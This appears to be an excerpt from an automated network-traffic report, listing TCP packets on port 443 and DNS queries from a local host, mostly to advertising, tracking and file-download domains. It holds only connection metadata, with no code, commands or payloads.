Jun 15, 2024 11:15:08.610842943 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.610899925 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.610960960 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611012936 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.611316919 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611350060 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611373901 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.611391068 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611440897 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.611583948 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611618996 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611637115 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.611650944 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.611711979 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.611711979 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612037897 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612071037 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612088919 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612109900 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612137079 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612214088 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612257957 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612272978 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612428904 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612473965 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612513065 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612561941 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612577915 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612616062 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612622976 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612637043 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612668991 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612689972 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.612931013 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612970114 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.612991095 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613010883 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613038063 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613059998 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613068104 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613079071 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613112926 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613120079 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613132954 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613147020 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613173008 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613177061 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613221884 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613228083 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613241911 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613272905 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613300085 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613343000 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613348007 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613359928 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613396883 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613404989 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613421917 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.613451958 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.613456011 CEST	443	49873	104.21.234.183	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 15, 2024 11:14:49.091753006 CEST	192.168.2.16	1.1.1.1	0xfa82	Standard query (0)	oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:49.105370998 CEST	192.168.2.16	1.1.1.1	0x3704	Standard query (0)	oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:14:51.005603075 CEST	192.168.2.16	1.1.1.1	0x6448	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:51.005707026 CEST	192.168.2.16	1.1.1.1	0xe6ff	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:52.912611008 CEST	192.168.2.16	1.1.1.1	0xd687	Standard query (0)	oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.912791014 CEST	192.168.2.16	1.1.1.1	0xd94a	Standard query (0)	oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:14:52.916241884 CEST	192.168.2.16	1.1.1.1	0xafa8	Standard query (0)	ads.themoneytizer.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.916388988 CEST	192.168.2.16	1.1.1.1	0xbce6	Standard query (0)	ads.themoneytizer.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:52.946752071 CEST	192.168.2.16	1.1.1.1	0xb543	Standard query (0)	smatr.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.946902037 CEST	192.168.2.16	1.1.1.1	0x56b3	Standard query (0)	smatr.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:52.952068090 CEST	192.168.2.16	1.1.1.1	0x61f2	Standard query (0)	cdn.adlook.me	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.952198029 CEST	192.168.2.16	1.1.1.1	0x49ee	Standard query (0)	cdn.adlook.me	65	IN (0x0001)	false
Jun 15, 2024 11:14:52.954509974 CEST	192.168.2.16	1.1.1.1	0x4ec6	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.954654932 CEST	192.168.2.16	1.1.1.1	0x533f	Standard query (0)	lg3.media.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:53.602124929 CEST	192.168.2.16	1.1.1.1	0xbc50	Standard query (0)	yastatic.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:53.602248907 CEST	192.168.2.16	1.1.1.1	0x9fd	Standard query (0)	yastatic.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:53.927592993 CEST	192.168.2.16	1.1.1.1	0xbf3b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:53.927820921 CEST	192.168.2.16	1.1.1.1	0xc13c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.056133032 CEST	192.168.2.16	1.1.1.1	0x34d	Standard query (0)	cdn.themoneytizer.fr	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.056427956 CEST	192.168.2.16	1.1.1.1	0x50c	Standard query (0)	cdn.themoneytizer.fr	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.057030916 CEST	192.168.2.16	1.1.1.1	0xae97	Standard query (0)	ced.sascdn.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.057240009 CEST	192.168.2.16	1.1.1.1	0xd6e6	Standard query (0)	ced.sascdn.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.063920975 CEST	192.168.2.16	1.1.1.1	0x677f	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.064065933 CEST	192.168.2.16	1.1.1.1	0x58ec	Standard query (0)	lg3.media.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.064553976 CEST	192.168.2.16	1.1.1.1	0x4781	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.064711094 CEST	192.168.2.16	1.1.1.1	0xe063	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.247489929 CEST	192.168.2.16	1.1.1.1	0x3559	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.247697115 CEST	192.168.2.16	1.1.1.1	0x9c0f	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.470134974 CEST	192.168.2.16	1.1.1.1	0x2194	Standard query (0)	tag.leadplace.fr	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.470323086 CEST	192.168.2.16	1.1.1.1	0x29ae	Standard query (0)	tag.leadplace.fr	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.561161041 CEST	192.168.2.16	1.1.1.1	0x81f0	Standard query (0)	ogffa.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.561624050 CEST	192.168.2.16	1.1.1.1	0x53ed	Standard query (0)	ogffa.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.585700989 CEST	192.168.2.16	1.1.1.1	0xfafb	Standard query (0)	counter.yadro.ru	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.585911989 CEST	192.168.2.16	1.1.1.1	0xc1d3	Standard query (0)	counter.yadro.ru	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.586256981 CEST	192.168.2.16	1.1.1.1	0xe7e0	Standard query (0)	secure.quantserve.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.586435080 CEST	192.168.2.16	1.1.1.1	0x91ba	Standard query (0)	secure.quantserve.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.727808952 CEST	192.168.2.16	1.1.1.1	0x7050	Standard query (0)	p.cpx.to	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.728039026 CEST	192.168.2.16	1.1.1.1	0x345c	Standard query (0)	p.cpx.to	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.728404999 CEST	192.168.2.16	1.1.1.1	0x8dc6	Standard query (0)	adtrack.adleadevent.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.728564978 CEST	192.168.2.16	1.1.1.1	0xdb85	Standard query (0)	adtrack.adleadevent.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:54.819224119 CEST	192.168.2.16	1.1.1.1	0x271d	Standard query (0)	system-notify.app	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.819391012 CEST	192.168.2.16	1.1.1.1	0x30d6	Standard query (0)	system-notify.app	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.177122116 CEST	192.168.2.16	1.1.1.1	0xc771	Standard query (0)	cdn.adlook.me	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.177252054 CEST	192.168.2.16	1.1.1.1	0x1d70	Standard query (0)	cdn.adlook.me	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.183734894 CEST	192.168.2.16	1.1.1.1	0x4be7	Standard query (0)	ads.adlook.me	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.183959961 CEST	192.168.2.16	1.1.1.1	0xae12	Standard query (0)	ads.adlook.me	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.218058109 CEST	192.168.2.16	1.1.1.1	0x7fac	Standard query (0)	download.oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.218256950 CEST	192.168.2.16	1.1.1.1	0xc4f5	Standard query (0)	download.oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.408164978 CEST	192.168.2.16	1.1.1.1	0xf98d	Standard query (0)	ced-ns.sascdn.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.408567905 CEST	192.168.2.16	1.1.1.1	0x71c5	Standard query (0)	ced-ns.sascdn.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.409621000 CEST	192.168.2.16	1.1.1.1	0x791d	Standard query (0)	cdn.id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.409842968 CEST	192.168.2.16	1.1.1.1	0x62e9	Standard query (0)	cdn.id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.555021048 CEST	192.168.2.16	1.1.1.1	0xf331	Standard query (0)	tag.leadplace.fr	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.555175066 CEST	192.168.2.16	1.1.1.1	0xfa76	Standard query (0)	tag.leadplace.fr	65	IN (0x0001)	false
Jun 15, 2024 11:14:55.923290014 CEST	192.168.2.16	1.1.1.1	0x2f08	Standard query (0)	ogffa.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.923474073 CEST	192.168.2.16	1.1.1.1	0x9d36	Standard query (0)	ogffa.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:56.048162937 CEST	192.168.2.16	1.1.1.1	0xc7a7	Standard query (0)	rules.quantcount.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.048477888 CEST	192.168.2.16	1.1.1.1	0xe13d	Standard query (0)	rules.quantcount.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:56.077064991 CEST	192.168.2.16	1.1.1.1	0x352a	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.077065945 CEST	192.168.2.16	1.1.1.1	0x8b36	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:56.077457905 CEST	192.168.2.16	1.1.1.1	0xb67d	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.077457905 CEST	192.168.2.16	1.1.1.1	0x15cf	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Jun 15, 2024 11:14:56.489319086 CEST	192.168.2.16	1.1.1.1	0xf67c	Standard query (0)	uidsync.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.489553928 CEST	192.168.2.16	1.1.1.1	0x2225	Standard query (0)	uidsync.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:56.729284048 CEST	192.168.2.16	1.1.1.1	0xa544	Standard query (0)	ads.adlook.me	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.729383945 CEST	192.168.2.16	1.1.1.1	0x5c4c	Standard query (0)	ads.adlook.me	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.047323942 CEST	192.168.2.16	1.1.1.1	0x8b6a	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.047462940 CEST	192.168.2.16	1.1.1.1	0xafc7	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.144342899 CEST	192.168.2.16	1.1.1.1	0x3af1	Standard query (0)	pixel.quantserve.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.144458055 CEST	192.168.2.16	1.1.1.1	0x154	Standard query (0)	pixel.quantserve.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.180840969 CEST	192.168.2.16	1.1.1.1	0x213	Standard query (0)	counter.yadro.ru	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.180977106 CEST	192.168.2.16	1.1.1.1	0xaede	Standard query (0)	counter.yadro.ru	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.449665070 CEST	192.168.2.16	1.1.1.1	0x648e	Standard query (0)	s.cpx.to	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.449778080 CEST	192.168.2.16	1.1.1.1	0x269f	Standard query (0)	s.cpx.to	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.458787918 CEST	192.168.2.16	1.1.1.1	0x513b	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.458787918 CEST	192.168.2.16	1.1.1.1	0x9c5c	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.473082066 CEST	192.168.2.16	1.1.1.1	0x87d7	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.473190069 CEST	192.168.2.16	1.1.1.1	0x23c3	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:57.473632097 CEST	192.168.2.16	1.1.1.1	0xe9ec	Standard query (0)	lb.eu-1-id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.473736048 CEST	192.168.2.16	1.1.1.1	0xdf21	Standard query (0)	lb.eu-1-id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.522664070 CEST	192.168.2.16	1.1.1.1	0x8eeb	Standard query (0)	pixel.quantserve.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.522728920 CEST	192.168.2.16	1.1.1.1	0x35ed	Standard query (0)	pixel.quantserve.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.564999104 CEST	192.168.2.16	1.1.1.1	0x2ab6	Standard query (0)	lb.eu-1-id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.565155029 CEST	192.168.2.16	1.1.1.1	0x2211	Standard query (0)	lb.eu-1-id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.572964907 CEST	192.168.2.16	1.1.1.1	0x5c20	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.573152065 CEST	192.168.2.16	1.1.1.1	0x5109	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.842693090 CEST	192.168.2.16	1.1.1.1	0x2f45	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.842739105 CEST	192.168.2.16	1.1.1.1	0xfd68	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.843112946 CEST	192.168.2.16	1.1.1.1	0xc134	Standard query (0)	s.cpx.to	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.843419075 CEST	192.168.2.16	1.1.1.1	0xc4fc	Standard query (0)	s.cpx.to	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.843523026 CEST	192.168.2.16	1.1.1.1	0xb99	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.843602896 CEST	192.168.2.16	1.1.1.1	0xf694	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.844175100 CEST	192.168.2.16	1.1.1.1	0x57be	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.844294071 CEST	192.168.2.16	1.1.1.1	0xf42e	Standard query (0)	u.openx.net	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.844547987 CEST	192.168.2.16	1.1.1.1	0xbaeb	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.844705105 CEST	192.168.2.16	1.1.1.1	0x8256	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:58.844926119 CEST	192.168.2.16	1.1.1.1	0x366b	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.845041990 CEST	192.168.2.16	1.1.1.1	0xa2c5	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Jun 15, 2024 11:14:59.170092106 CEST	192.168.2.16	1.1.1.1	0x39bf	Standard query (0)	uidsync.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.170165062 CEST	192.168.2.16	1.1.1.1	0x347f	Standard query (0)	uidsync.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:01.248663902 CEST	192.168.2.16	1.1.1.1	0xf3e9	Standard query (0)	download.oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:01.248792887 CEST	192.168.2.16	1.1.1.1	0xb3f5	Standard query (0)	download.oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:15:06.926637888 CEST	192.168.2.16	1.1.1.1	0x996e	Standard query (0)	s1.oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:06.926748037 CEST	192.168.2.16	1.1.1.1	0xa15	Standard query (0)	s1.oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:15:07.094814062 CEST	192.168.2.16	1.1.1.1	0x9e8f	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.094969988 CEST	192.168.2.16	1.1.1.1	0x714c	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:09.596967936 CEST	192.168.2.16	1.1.1.1	0x34df	Standard query (0)	s1.oxy.st	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:09.597100019 CEST	192.168.2.16	1.1.1.1	0x4bd1	Standard query (0)	s1.oxy.st	65	IN (0x0001)	false
Jun 15, 2024 11:15:13.146716118 CEST	192.168.2.16	1.1.1.1	0x5033	Standard query (0)	tmzr.themoneytizer.fr	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.146886110 CEST	192.168.2.16	1.1.1.1	0x709b	Standard query (0)	tmzr.themoneytizer.fr	65	IN (0x0001)	false
Jun 15, 2024 11:15:13.478120089 CEST	192.168.2.16	1.1.1.1	0xf0b8	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.478287935 CEST	192.168.2.16	1.1.1.1	0x460a	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Jun 15, 2024 11:15:14.423551083 CEST	192.168.2.16	1.1.1.1	0x4314	Standard query (0)	lexicon.33across.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.423722982 CEST	192.168.2.16	1.1.1.1	0xfadb	Standard query (0)	lexicon.33across.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:14.428364038 CEST	192.168.2.16	1.1.1.1	0x2db3	Standard query (0)	id.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.428555012 CEST	192.168.2.16	1.1.1.1	0xddda	Standard query (0)	id.crwdcntrl.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:14.437195063 CEST	192.168.2.16	1.1.1.1	0x8923	Standard query (0)	ww1097.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.437402964 CEST	192.168.2.16	1.1.1.1	0x631	Standard query (0)	ww1097.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:14.438514948 CEST	192.168.2.16	1.1.1.1	0xcabe	Standard query (0)	metrics.biddertmz.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.438735008 CEST	192.168.2.16	1.1.1.1	0x6d45	Standard query (0)	metrics.biddertmz.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:15.781003952 CEST	192.168.2.16	1.1.1.1	0x385e	Standard query (0)	metrics.biddertmz.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.781188965 CEST	192.168.2.16	1.1.1.1	0x5851	Standard query (0)	metrics.biddertmz.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:15.798017025 CEST	192.168.2.16	1.1.1.1	0x51cd	Standard query (0)	id.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.798228979 CEST	192.168.2.16	1.1.1.1	0x53a6	Standard query (0)	id.crwdcntrl.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:16.001737118 CEST	192.168.2.16	1.1.1.1	0x4e61	Standard query (0)	lexicon.33across.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.001916885 CEST	192.168.2.16	1.1.1.1	0x627a	Standard query (0)	lexicon.33across.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:16.587493896 CEST	192.168.2.16	1.1.1.1	0x20e0	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.587625027 CEST	192.168.2.16	1.1.1.1	0xb3c5	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:16.910897970 CEST	192.168.2.16	1.1.1.1	0x519f	Standard query (0)	ww1097.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.911386013 CEST	192.168.2.16	1.1.1.1	0x7c2e	Standard query (0)	ww1097.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:15:17.671437979 CEST	192.168.2.16	1.1.1.1	0x9cae	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:17.671566963 CEST	192.168.2.16	1.1.1.1	0x517b	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:21.444252968 CEST	192.168.2.16	1.1.1.1	0x7d06	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:21.444441080 CEST	192.168.2.16	1.1.1.1	0x77ff	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:24.953993082 CEST	192.168.2.16	1.1.1.1	0xb6f8	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:24.954123020 CEST	192.168.2.16	1.1.1.1	0x5127	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:28.459542990 CEST	192.168.2.16	1.1.1.1	0xf300	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:28.461452007 CEST	192.168.2.16	1.1.1.1	0x330e	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Jun 15, 2024 11:15:29.574079037 CEST	192.168.2.16	1.1.1.1	0x4006	Standard query (0)	uipus.semasio.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:29.574373007 CEST	192.168.2.16	1.1.1.1	0x8799	Standard query (0)	uipus.semasio.net	65	IN (0x0001)	false
Jun 15, 2024 11:16:04.670380116 CEST	192.168.2.16	1.1.1.1	0x5bd4	Standard query (0)	csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:04.670538902 CEST	192.168.2.16	1.1.1.1	0x9cfd	Standard query (0)	csync.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:16:05.794197083 CEST	192.168.2.16	1.1.1.1	0xc234	Standard query (0)	ced-ns.sascdn.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:05.794321060 CEST	192.168.2.16	1.1.1.1	0x8878	Standard query (0)	ced-ns.sascdn.com	65	IN (0x0001)	false
Jun 15, 2024 11:16:07.898010015 CEST	192.168.2.16	1.1.1.1	0xd23a	Standard query (0)	cxcs.microsoft.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.495521069 CEST	192.168.2.16	1.1.1.1	0xc5b1	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.495887041 CEST	192.168.2.16	1.1.1.1	0x3b27	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Jun 15, 2024 11:16:09.589787006 CEST	192.168.2.16	1.1.1.1	0x47af	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:09.589848995 CEST	192.168.2.16	1.1.1.1	0x742f	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Jun 15, 2024 11:16:10.711072922 CEST	192.168.2.16	1.1.1.1	0x4f29	Standard query (0)	uipus.semasio.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:10.711266994 CEST	192.168.2.16	1.1.1.1	0x9bd8	Standard query (0)	uipus.semasio.net	65	IN (0x0001)	false
Jun 15, 2024 11:16:12.607781887 CEST	192.168.2.16	1.1.1.1	0xe2a0	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.607835054 CEST	192.168.2.16	1.1.1.1	0xdcf8	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Jun 15, 2024 11:16:38.466659069 CEST	192.168.2.16	1.1.1.1	0x4965	Standard query (0)	dl.google.com	A (IP address)	IN (0x0001)	false
